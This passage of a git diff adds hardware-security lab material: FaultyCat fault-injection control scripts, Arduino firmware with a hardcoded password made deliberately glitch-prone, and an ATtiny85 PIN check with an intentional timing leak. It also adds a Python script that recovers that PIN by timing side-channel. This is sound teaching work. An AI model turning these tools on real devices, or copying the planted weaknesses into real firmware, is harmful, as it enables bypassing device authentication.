+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
new file mode 100644
index 0000000..53839d4
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
@@ -0,0 +1,103 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "1324";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.println("Entered so far: " + currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(5);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  
+  if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
new file mode 100644
index 0000000..e01eeb2
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
@@ -0,0 +1,115 @@
+import serial
+import time
+
+# Constants
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+PREFIX = ""
+ATTEMPTS = 3
+DELAY = 0.8
+KEYSPACE = ["1", "2", "3", "4"]
+LENGTH = 4
+
+def get_response_time(serial_port, message):
+    """
+    Function to send message, wait for response, and measure response time.
+    """
+    # Flush the input buffer to clear any leftover data
+    serial_port.flushInput()
+
+    first_line_received = False
+
+    # Send each character in the message with a delay
+    for i, char in enumerate(message):
+        time.sleep(DELAY)  # Delay before sending the character
+        serial_port.write(char.encode())  # Send one character at a time
+        #print(f"sending: {char}")
+        if i < len(message)-1:
+            #print(f"reading")
+            raw_response = serial_port.readline()
+
+    # After sending all characters, we will read until we get the first line (complete response)
+    raw_response = b''  # Initialize the response variable
+
+    while True:
+        byte = serial_port.read(1)  # Read one byte at a time
+        if byte:
+            if byte == b'\n' and not first_line_received:
+                first_line_received = True  # The first line has been received
+                # Do not start timing yet; we need to wait for the next line after the first one
+            elif first_line_received:
+                # Start measuring response time after the first line is fully received
+                start_time = time.time()
+                break  # We begin timing here, immediately after the first line has been read
+
+    final_response = serial_port.readline().decode(errors='ignore').strip()
+    # Now read the rest of the response and stop when the second newline is encountered
+    #final_response = raw_response.decode(errors='ignore').strip()  # Decode the response
+
+    # Measure the time taken for the second line (after the first)
+    response_time = time.time() - start_time
+
+    # Debug message to show what was sent, received, and the response time
+    print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
+
+    time.sleep(DELAY)
+    return final_response, response_time
+
+def calculate_average_response_time(serial_port, message):
+    """
+    Calculate average response time over multiple attempts.
+    """
+    total_time = 0
+    response_times = []
+
+    # Try multiple attempts to get the average response time
+    for _ in range(ATTEMPTS):
+        response, response_time = get_response_time(serial_port, message)
+        total_time += response_time
+        response_times.append(response_time)
+    
+    average_time = total_time / ATTEMPTS
+    print(f"\r{message} average: {average_time:.4f} seconds                                         ", flush=True)
+    return average_time, response_times
+
+def identify_sequence(serial_port):
+    """
+    Identify the complete sequence of characters by sending test sequences.
+    """
+    prefix = ""
+
+    # Loop over all positions in the sequence (length 4 in this case)
+    for pos in range(LENGTH):
+        slowest_avg = float('-inf')  # Initialize with the smallest possible number to track the largest value
+        best_digit = None
+
+        # Try each character in the keyspace for this position
+        for key in KEYSPACE:
+            # Build message for this position
+            message = prefix + key + key * (LENGTH - len(prefix) - 1)
+            print(f"Testing: {message}", end='', flush=True)
+
+            # Get the average response time for this message
+            avg_time, _ = calculate_average_response_time(serial_port, message)
+
+            # Track the slowest (highest average response time)
+            if avg_time > slowest_avg:  # Modify comparison to choose the longest time
+                slowest_avg = avg_time
+                best_digit = key
+
+        # Append the best digit found to the prefix
+        prefix += best_digit
+        print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
+
+    return prefix
+
+def main():
+    # Open the serial port
+    with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
+        print(f"Starting sequence identification on port {SERIAL_PORT}...")
+        sequence = identify_sequence(serial_port)
+        print(f"Identified sequence: {sequence}")
+
+if __name__ == '__main__':
+    main()
+
diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
new file mode 100644
index 0000000..7db7b86
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
Binary files differ
diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino
new file mode 100644
index 0000000..9c3d205
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino
@@ -0,0 +1,125 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void generateRandomPin() {
+
+  ourCode = ""; // ensure is empty
+  
+  // Use multiple entropy sources for the random seed
+  int pinSeed = analogRead(0) + analogRead(1);  // Read from pin 0 and pin 1 for more randomness
+  unsigned long combinedSeed = pinSeed  + random(100, 200);  // Combine them all
+  randomSeed(combinedSeed);  // Seed the random number generator with the combined value
+  
+  int pinLength = random(4, 9); // Random length between 4 and 8
+  for (int i = 0; i < pinLength; i++) {
